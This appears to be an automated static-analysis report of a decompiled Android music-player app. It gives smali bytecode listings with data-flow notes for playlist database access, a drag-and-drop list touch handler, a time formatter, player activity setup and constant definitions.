2const/4 v6, 0x0
3const/4 v3, 0x0
4if-eqz p1, :cond_8
6const-string v4, ""
7if-ne p1, v4, :cond_9
8goto_8: return v3
9cond_9: new-instance v2, Landroid/content/ContentValues;
11invoke-direct {v2}, Landroid/content/ContentValues;-><init>()V
13sget-object v4, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
15invoke-virtual {v2, v4, p1}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
17iget-object v4, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
19sget-object v5, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
21invoke-virtual {v4, v5, v6, v2}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
  • Data flow analysis:
    • p1: 0
22new-instance v4, Ljava/lang/StringBuilder;
24const-string v5, "SELECT "
26invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SELECT
28sget-object v5, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
30invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
31move-result-object v4
33const-string v5, " FROM "
35invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: FROM
36move-result-object v4
38sget-object v5, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
40invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
41move-result-object v4
43const-string v5, " ORDER BY "
45invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ORDER BY
46move-result-object v4
48sget-object v5, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
50invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
51move-result-object v4
53const-string v5, " DESC LIMIT 0,1"
55invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: DESC LIMIT 0,1
56move-result-object v4
58invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
59move-result-object v1
61iget-object v4, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
63invoke-virtual {v4, v1, v6}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p1: 0
64move-result-object v0
66invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
67move-result v4
68if-eqz v4, :cond_8
70sget-object v3, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
72invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
73move-result v3
75invoke-interface {v0, v3}, Landroid/database/Cursor;->getInt(I)I
76move-result v3
77goto/16 :goto_8
APIs
  • android.view.GestureDetector.onTouchEvent
  • android.view.MotionEvent.getAction
  • android.widget.ImageView.getDrawingRect
  • com.twdlphqg.app.TouchInterceptor.stopDragging
  • android.view.MotionEvent.getX
  • com.twdlphqg.app.TouchInterceptor.unExpandViews
  • com.twdlphqg.app.TouchInterceptor.getCount
  • com.twdlphqg.app.TouchInterceptor.unExpandViews
  • android.view.MotionEvent.getX
  • android.view.MotionEvent.getY
  • com.twdlphqg.app.TouchInterceptor.dragView
  • com.twdlphqg.app.TouchInterceptor.getItemForPosition
  • com.twdlphqg.app.TouchInterceptor.doExpansion
  • com.twdlphqg.app.TouchInterceptor.adjustScrollBounds
  • com.twdlphqg.app.TouchInterceptor.getLastVisiblePosition
  • com.twdlphqg.app.TouchInterceptor.getCount
  • com.twdlphqg.app.TouchInterceptor.smoothScrollBy
  • com.twdlphqg.app.TouchInterceptor.getFirstVisiblePosition
  • com.twdlphqg.app.TouchInterceptor.getChildAt
  • android.view.View.getTop
  • com.twdlphqg.app.TouchInterceptor.getPaddingTop
  • android.widget.ListView.onTouchEvent
Position Instruction Meta Information
0.param p1, "ev" # Landroid/view/MotionEvent;
1.prologue
2const/4 v10, 0x0
3const/4 v6, 0x1
5iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mGestureDetector:Landroid/view/GestureDetector;
6if-eqz v7, :cond_b
8iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mGestureDetector:Landroid/view/GestureDetector;
10invoke-virtual {v7, p1}, Landroid/view/GestureDetector;->onTouchEvent(Landroid/view/MotionEvent;)Z
11cond_b:
12iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragListener:Lcom/twdlphqg/app/TouchInterceptor$DragListener;
13if-nez v7, :cond_13
15iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDropListener:Lcom/twdlphqg/app/TouchInterceptor$DropListener;
16if-eqz v7, :cond_e1
17cond_13:
18iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
19if-eqz v7, :cond_e1
21invoke-virtual {p1}, Landroid/view/MotionEvent;->getAction()I
22move-result v0
23packed-switch v0, :pswitch_data_e8
24cond_1e: return v6
25pswitch_1f:
26iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTempRect:Landroid/graphics/Rect;
28iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
30invoke-virtual {v7, v2}, Landroid/widget/ImageView;->getDrawingRect(Landroid/graphics/Rect;)V
32invoke-direct {p0}, Lcom/twdlphqg/app/TouchInterceptor;->stopDragging()V
33iget v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mRemoveMode:I
34if-ne v7, v6, :cond_4b
36invoke-virtual {p1}, Landroid/view/MotionEvent;->getX()F
37move-result v7
38iget v8, v2, Landroid/graphics/Rect;->right:I
39mul-int/lit8 v8, v8, 0x3
40div-int/lit8 v8, v8, 0x4
41int-to-float v8, v8
42cmpl-float v7, v7, v8
43if-lez v7, :cond_4b
45iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mRemoveListener:Lcom/twdlphqg/app/TouchInterceptor$RemoveListener;
46if-eqz v7, :cond_47
48iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mRemoveListener:Lcom/twdlphqg/app/TouchInterceptor$RemoveListener;
49iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mSrcDragPos:I
51invoke-interface {v7, v8}, Lcom/twdlphqg/app/TouchInterceptor$RemoveListener;->remove(I)V
52cond_47:
53invoke-direct {p0, v6}, Lcom/twdlphqg/app/TouchInterceptor;->unExpandViews(Z)V
  • Data flow analysis:
    • p0: 1
54goto/16 :goto_1e
55cond_4b:
56iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDropListener:Lcom/twdlphqg/app/TouchInterceptor$DropListener;
57if-eqz v7, :cond_64
58iget v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
59if-ltz v7, :cond_64
60iget v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
62invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getCount()I
63move-result v8
64if-ge v7, v8, :cond_64
66iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDropListener:Lcom/twdlphqg/app/TouchInterceptor$DropListener;
67iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mSrcDragPos:I
68iget v9, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
70invoke-interface {v7, v8, v9}, Lcom/twdlphqg/app/TouchInterceptor$DropListener;->drop(II)V
71cond_64:
72invoke-direct {p0, v10}, Lcom/twdlphqg/app/TouchInterceptor;->unExpandViews(Z)V
  • Data flow analysis:
    • p0: 0
73goto/16 :goto_1e
74pswitch_68:
75invoke-virtual {p1}, Landroid/view/MotionEvent;->getX()F
76move-result v7
77float-to-int v4, v7
79invoke-virtual {p1}, Landroid/view/MotionEvent;->getY()F
80move-result v7
81float-to-int v5, v7
83invoke-direct {p0, v4, v5}, Lcom/twdlphqg/app/TouchInterceptor;->dragView(II)V
85invoke-direct {p0, v5}, Lcom/twdlphqg/app/TouchInterceptor;->getItemForPosition(I)I
86move-result v1
87if-ltz v1, :cond_1e
88if-eqz v0, :cond_81
89iget v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
90if-eq v1, v7, :cond_91
91cond_81:
92iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragListener:Lcom/twdlphqg/app/TouchInterceptor$DragListener;
93if-eqz v7, :cond_8c
95iget-object v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragListener:Lcom/twdlphqg/app/TouchInterceptor$DragListener;
96iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
98invoke-interface {v7, v8, v1}, Lcom/twdlphqg/app/TouchInterceptor$DragListener;->drag(II)V
99cond_8c: iput v1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
101invoke-direct {p0}, Lcom/twdlphqg/app/TouchInterceptor;->doExpansion()V
102cond_91: const/4 v3, 0x0
104invoke-direct {p0, v5}, Lcom/twdlphqg/app/TouchInterceptor;->adjustScrollBounds(I)V
105iget v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mLowerBound:I
106if-le v5, v7, :cond_bd
108invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getLastVisiblePosition()I
109move-result v7
111invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getCount()I
112move-result v8
113add-int/lit8 v8, v8, -0x1
114if-ge v7, v8, :cond_bb
115iget v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mHeight:I
116iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mLowerBound:I
117add-int/2addr v7, v8
118div-int/lit8 v7, v7, 0x2
119if-le v5, v7, :cond_b9
120const/16 v3, 0x10
121goto_b0: if-eqz v3, :cond_1e
122const/16 v7, 0x1e
124invoke-virtual {p0, v3, v7}, Lcom/twdlphqg/app/TouchInterceptor;->smoothScrollBy(II)V
  • Data flow analysis:
    • p0: 16
    • p1: 30
125goto/16 :goto_1e
126cond_b9: const/4 v3, 0x4
127goto/16 :goto_b0
128cond_bb: const/4 v3, 0x1
129goto/16 :goto_b0
130cond_bd: iget v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mUpperBound:I
131if-ge v5, v7, :cond_b0
132iget v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mUpperBound:I
133div-int/lit8 v7, v7, 0x2
134if-ge v5, v7, :cond_df
135const/16 v3, -0x10
136goto_c9:
137invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getFirstVisiblePosition()I
138move-result v7
139if-nez v7, :cond_b0
141invoke-virtual {p0, v10}, Lcom/twdlphqg/app/TouchInterceptor;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
142move-result-object v7
144invoke-virtual {v7}, Landroid/view/View;->getTop()I
145move-result v7
147invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getPaddingTop()I
148move-result v8
149if-lt v7, v8, :cond_b0
150const/4 v3, 0x0
151goto/16 :goto_b0
152cond_df: const/4 v3, -0x4
153goto/16 :goto_c9
154cond_e1:
155invoke-super {p0, p1}, Landroid/widget/ListView;->onTouchEvent(Landroid/view/MotionEvent;)Z
156move-result v6
157goto/16 :goto_1e
158nop
APIs
  • com.twdlphqg.app.TouchInterceptor.getContext
  • com.twdlphqg.app.TouchInterceptor$1.<init>
  • android.view.GestureDetector.<init>
  • android.view.MotionEvent.getAction
  • android.widget.ListView.onInterceptTouchEvent
  • android.view.MotionEvent.getX
  • android.view.MotionEvent.getY
  • com.twdlphqg.app.TouchInterceptor.pointToPosition
  • com.twdlphqg.app.TouchInterceptor.getFirstVisiblePosition
  • com.twdlphqg.app.TouchInterceptor.getChildAt
  • android.view.ViewGroup.getLeft
  • android.view.ViewGroup.getTop
  • android.view.MotionEvent.getRawX
  • android.view.MotionEvent.getRawY
  • android.view.ViewGroup.setDrawingCacheEnabled
  • android.view.ViewGroup.getDrawingCache
  • android.graphics.Bitmap.createBitmap
  • com.twdlphqg.app.TouchInterceptor.startDragging
  • com.twdlphqg.app.TouchInterceptor.getHeight
  • java.lang.Math.min
  • java.lang.Math.max
  • com.twdlphqg.app.TouchInterceptor.stopDragging
Position Instruction Meta Information
0.param p1, "ev" # Landroid/view/MotionEvent;
1.prologue
3iget-object v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mRemoveListener:Lcom/twdlphqg/app/TouchInterceptor$RemoveListener;
4if-eqz v6, :cond_1c
6iget-object v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mGestureDetector:Landroid/view/GestureDetector;
7if-nez v6, :cond_1c
8iget v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mRemoveMode:I
9if-nez v6, :cond_1c
10new-instance v6, Landroid/view/GestureDetector;
12invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getContext()Landroid/content/Context;
13move-result-object v7
14new-instance v8, Lcom/twdlphqg/app/TouchInterceptor$1;
16invoke-direct {v8, p0}, Lcom/twdlphqg/app/TouchInterceptor$1;-><init>(Lcom/twdlphqg/app/TouchInterceptor;)V
18invoke-direct {v6, v7, v8}, Landroid/view/GestureDetector;-><init>(Landroid/content/Context;Landroid/view/GestureDetector$OnGestureListener;)V
19iput-object v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mGestureDetector:Landroid/view/GestureDetector;
20cond_1c:
21iget-object v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragListener:Lcom/twdlphqg/app/TouchInterceptor$DragListener;
22if-nez v6, :cond_24
24iget-object v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDropListener:Lcom/twdlphqg/app/TouchInterceptor$DropListener;
25if-eqz v6, :cond_2b
26cond_24:
27invoke-virtual {p1}, Landroid/view/MotionEvent;->getAction()I
28move-result v6
29packed-switch v6, :pswitch_data_b0
30cond_2b:
31invoke-super {p0, p1}, Landroid/widget/ListView;->onInterceptTouchEvent(Landroid/view/MotionEvent;)Z
32move-result v6
33goto_2f: return v6
34pswitch_30:
35invoke-virtual {p1}, Landroid/view/MotionEvent;->getX()F
36move-result v6
37float-to-int v4, v6
39invoke-virtual {p1}, Landroid/view/MotionEvent;->getY()F
40move-result v6
41float-to-int v5, v6
43invoke-virtual {p0, v4, v5}, Lcom/twdlphqg/app/TouchInterceptor;->pointToPosition(II)I
44move-result v2
45const/4 v6, -0x1
46if-eq v2, v6, :cond_2b
48invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getFirstVisiblePosition()I
49move-result v6
50sub-int v6, v2, v6
52invoke-virtual {p0, v6}, Lcom/twdlphqg/app/TouchInterceptor;->getChildAt(I)Landroid/view/View;
53move-result-object v1
54check-cast v1, Landroid/view/ViewGroup;
56invoke-virtual {v1}, Landroid/view/ViewGroup;->getLeft()I
57move-result v6
58sub-int v6, v4, v6
59iput v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPointX:I
61invoke-virtual {v1}, Landroid/view/ViewGroup;->getTop()I
62move-result v6
63sub-int v6, v5, v6
64iput v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPointY:I
66invoke-virtual {p1}, Landroid/view/MotionEvent;->getRawX()F
67move-result v6
68float-to-int v6, v6
69sub-int/2addr v6, v4
70iput v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mXOffset:I
72invoke-virtual {p1}, Landroid/view/MotionEvent;->getRawY()F
73move-result v6
74float-to-int v6, v6
75sub-int/2addr v6, v5
76iput v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mYOffset:I
77const/16 v6, 0x40
78if-ge v4, v6, :cond_aa
79const/4 v6, 0x1
81invoke-virtual {v1, v6}, Landroid/view/ViewGroup;->setDrawingCacheEnabled(Z)V
  • Data flow analysis:
    • enabled: 1
83invoke-virtual {v1}, Landroid/view/ViewGroup;->getDrawingCache()Landroid/graphics/Bitmap;
84move-result-object v6
86invoke-static {v6}, Landroid/graphics/Bitmap;->createBitmap(Landroid/graphics/Bitmap;)Landroid/graphics/Bitmap;
87move-result-object v0
89invoke-direct {p0, v0, v4, v5}, Lcom/twdlphqg/app/TouchInterceptor;->startDragging(Landroid/graphics/Bitmap;II)V
90iput v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
91iget v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
92iput v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mSrcDragPos:I
94invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getHeight()I
95move-result v6
96iput v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mHeight:I
97iget v3, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTouchSlop:I
98sub-int v6, v5, v3
99iget v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mHeight:I
100div-int/lit8 v7, v7, 0x3
102invoke-static {v6, v7}, Ljava/lang/Math;->min(II)I
103move-result v6
104iput v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mUpperBound:I
105add-int v6, v5, v3
106iget v7, p0, Lcom/twdlphqg/app/TouchInterceptor;->mHeight:I
107mul-int/lit8 v7, v7, 0x2
108div-int/lit8 v7, v7, 0x3
110invoke-static {v6, v7}, Ljava/lang/Math;->max(II)I
111move-result v6
112iput v6, p0, Lcom/twdlphqg/app/TouchInterceptor;->mLowerBound:I
113const/4 v6, 0x0
114goto/16 :goto_2f
115cond_aa:
116invoke-direct {p0}, Lcom/twdlphqg/app/TouchInterceptor;->stopDragging()V
117goto/16 :goto_2b
118nop
Cross References
APIs
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • :
  • 0
Position Instruction Meta Information
0.param p0, "milliseconds" # J
1.prologue
2const-wide/32 v8, 0x36ee80
4const-string v0, ""
6const-string v4, ""
7div-long v6, p0, v8
8long-to-int v1, v6
9rem-long v6, p0, v8
10long-to-int v5, v6
11const v6, 0xea60
12div-int v2, v5, v6
13rem-long v6, p0, v8
14const-wide/32 v8, 0xea60
15rem-long/2addr v6, v8
16const-wide/16 v8, 0x3e8
17div-long/2addr v6, v8
18long-to-int v3, v6
19if-lez v1, :cond_31
20new-instance v5, Ljava/lang/StringBuilder;
22invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
23move-result-object v6
25invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
27const-string v6, ":"
29invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: :
30move-result-object v5
32invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
33move-result-object v0
34cond_31: const/16 v5, 0xa
35if-ge v3, v5, :cond_60
36new-instance v5, Ljava/lang/StringBuilder;
38const-string v6, "0"
40invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0
42invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
43move-result-object v5
45invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
46move-result-object v4
47goto_44: new-instance v5, Ljava/lang/StringBuilder;
49invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
50move-result-object v6
52invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
54invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
55move-result-object v5
57const-string v6, ":"
59invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: :
60move-result-object v5
62invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
63move-result-object v5
65invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
66move-result-object v0
67return-object v0
68cond_60: new-instance v5, Ljava/lang/StringBuilder;
70invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
72invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
73move-result-object v5
75invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
76move-result-object v4
77goto/16 :goto_44
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreate
  • com.twdlphqg.app.PlayerActivity.getApplicationContext
  • android.content.Intent.<init>
  • com.twdlphqg.app.PlayerActivity$CustomResultReceiver.<init>
  • android.content.Intent.putExtra
  • com.twdlphqg.app.PlayerActivity.getApplicationContext
  • android.content.Context.bindService
  • com.twdlphqg.app.PlayerActivity.setContentView
  • com.twdlphqg.app.PlayerActivity.getIntent
  • android.content.Intent.getExtras
  • java.lang.Boolean.valueOf
  • android.os.Bundle.getParcelableArrayList
  • android.os.Bundle.getInt
  • android.util.Log.i
Strings
  • receiver
  • Destroy player
  • create
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
2const/4 v5, 0x1
3const/4 v4, 0x0
5invoke-super {p0, p1}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreate(Landroid/os/Bundle;)V
6new-instance v1, Landroid/content/Intent;
8invoke-virtual {p0}, Lcom/twdlphqg/app/PlayerActivity;->getApplicationContext()Landroid/content/Context;
9move-result-object v2
10const-class v3, Lcom/twdlphqg/app/services/AudioPlayerService;
12invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
13new-instance v2, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;
14const/4 v3, 0x0
16invoke-direct {v2, p0, v3}, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;-><init>(Lcom/twdlphqg/app/PlayerActivity;Landroid/os/Handler;)V
  • Data flow analysis:
    • p1: 0
17iput-object v2, p0, Lcom/twdlphqg/app/PlayerActivity;->customResultReceiver:Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;
19const-string v2, "receiver"
21iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity;->customResultReceiver:Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;
23invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: receiver
25invoke-virtual {p0}, Lcom/twdlphqg/app/PlayerActivity;->getApplicationContext()Landroid/content/Context;
26move-result-object v2
28iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity;->serviceConnection:Landroid/content/ServiceConnection;
30invoke-virtual {v2, v1, v3, v5}, Landroid/content/Context;->bindService(Landroid/content/Intent;Landroid/content/ServiceConnection;I)Z
  • Data flow analysis:
    • flags: 1
31const v2, 0x7f03001f
33invoke-virtual {p0, v2}, Lcom/twdlphqg/app/PlayerActivity;->setContentView(I)V
  • Data flow analysis:
    • p0: 2130903071
35invoke-virtual {p0}, Lcom/twdlphqg/app/PlayerActivity;->getIntent()Landroid/content/Intent;
36move-result-object v2
38invoke-virtual {v2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
39move-result-object v0
40if-eqz v0, :cond_52
42invoke-static {v5}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
43move-result-object v2
44iput-object v2, p0, Lcom/twdlphqg/app/PlayerActivity;->newTask:Ljava/lang/Boolean;
46sget-object v2, Lcom/twdlphqg/app/conf/constants;->TRACKS_KEY:Ljava/lang/String;
48invoke-virtual {v0, v2}, Landroid/os/Bundle;->getParcelableArrayList(Ljava/lang/String;)Ljava/util/ArrayList;
49move-result-object v2
50iput-object v2, p0, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
52sget-object v2, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
54invoke-virtual {v0, v2}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
55move-result v2
56iput v2, p0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
57iput-boolean v4, p0, Lcom/twdlphqg/app/PlayerActivity;->isShuffle:Z
58iput-boolean v4, p0, Lcom/twdlphqg/app/PlayerActivity;->isRepeat:Z
59cond_52:
60const-string v2, "Destroy player"
62const-string v3, "create"
64invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Destroy player
    • msg: create
65return-void
Strings
  • playlists
  • tracks
  • _id
  • _name
  • _playlist_id
  • _artist
  • _path
  • _album_id
  • _track_id
  • TRACKS_KEY
  • ARTISTS_KEY
  • ALBUMS_KEY
  • PLAYLISTS_KEY
  • TRACK_INDEX_KEY
  • ARTIST_KEY
  • ARTIST_ID
  • ALBUM_ID_KEY
  • PLAYLIST_ID_KEY
  • ALBUM_ART_URI_KEY
  • COMMON_KEY
Position Instruction Meta Information
0.prologue
2const-string v0, "playlists"
3sput-object v0, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
5const-string v0, "tracks"
6sput-object v0, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
8const-string v0, "_id"
9sput-object v0, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
11const-string v0, "_name"
12sput-object v0, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
14const-string v0, "_playlist_id"
15sput-object v0, Lcom/twdlphqg/app/conf/constants;->COL_REF_PLAYLIST_ID:Ljava/lang/String;
17const-string v0, "_artist"
18sput-object v0, Lcom/twdlphqg/app/conf/constants;->COL_ARTIST:Ljava/lang/String;
20const-string v0, "_path"
21sput-object v0, Lcom/twdlphqg/app/conf/constants;->COL_PATH:Ljava/lang/String;
23const-string v0, "_album_id"
24sput-object v0, Lcom/twdlphqg/app/conf/constants;->COL_ALBUM_ID:Ljava/lang/String;
26const-string v0, "_track_id"
27sput-object v0, Lcom/twdlphqg/app/conf/constants;->COL_TRACK_ID:Ljava/lang/String;
29const-string v0, "TRACKS_KEY"
30sput-object v0, Lcom/twdlphqg/app/conf/constants;->TRACKS_KEY:Ljava/lang/String;
32const-string v0, "ARTISTS_KEY"
33sput-object v0, Lcom/twdlphqg/app/conf/constants;->ARTISTS_KEY:Ljava/lang/String;
35const-string v0, "ALBUMS_KEY"
36sput-object v0, Lcom/twdlphqg/app/conf/constants;->ALBUMS_KEY:Ljava/lang/String;
38const-string v0, "PLAYLISTS_KEY"
39sput-object v0, Lcom/twdlphqg/app/conf/constants;->PLAYLISTS_KEY:Ljava/lang/String;
41const-string v0, "TRACK_INDEX_KEY"
42sput-object v0, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
44const-string v0, "ARTIST_KEY"
45sput-object v0, Lcom/twdlphqg/app/conf/constants;->ARTIST_NAME_KEY:Ljava/lang/String;
47const-string v0, "ARTIST_ID"
48sput-object v0, Lcom/twdlphqg/app/conf/constants;->ARTIST_ID_KEY:Ljava/lang/String;
50const-string v0, "ALBUM_ID_KEY"
51sput-object v0, Lcom/twdlphqg/app/conf/constants;->ALBUM_ID_KEY:Ljava/lang/String;
53const-string v0, "PLAYLIST_ID_KEY"
54sput-object v0, Lcom/twdlphqg/app/conf/constants;->PLAYLIST_ID_KEY:Ljava/lang/String;
56const-string v0, "ALBUM_ART_URI_KEY"
57sput-object v0, Lcom/twdlphqg/app/conf/constants;->ALBUM_ART_URI_KEY:Ljava/lang/String;
59const-string v0, "COMMON_KEY"
60sput-object v0, Lcom/twdlphqg/app/conf/constants;->COMMON_KEY:Ljava/lang/String;
61return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.rawQuery
Strings
  • SELECT * FROM
  • WHERE
  • =
  • ORDER BY
  • DESC
Position Instruction Meta Information
0.param p1, "id" # I
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(I)",
4"Ljava/util/ArrayList",
5"<",
6"Lcom/twdlphqg/app/models/Track;",
7">;"
8}
9.end annotation
10.prologue
11new-instance v2, Ljava/lang/StringBuilder;
13const-string v3, "SELECT * FROM "
15invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SELECT * FROM
17sget-object v3, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
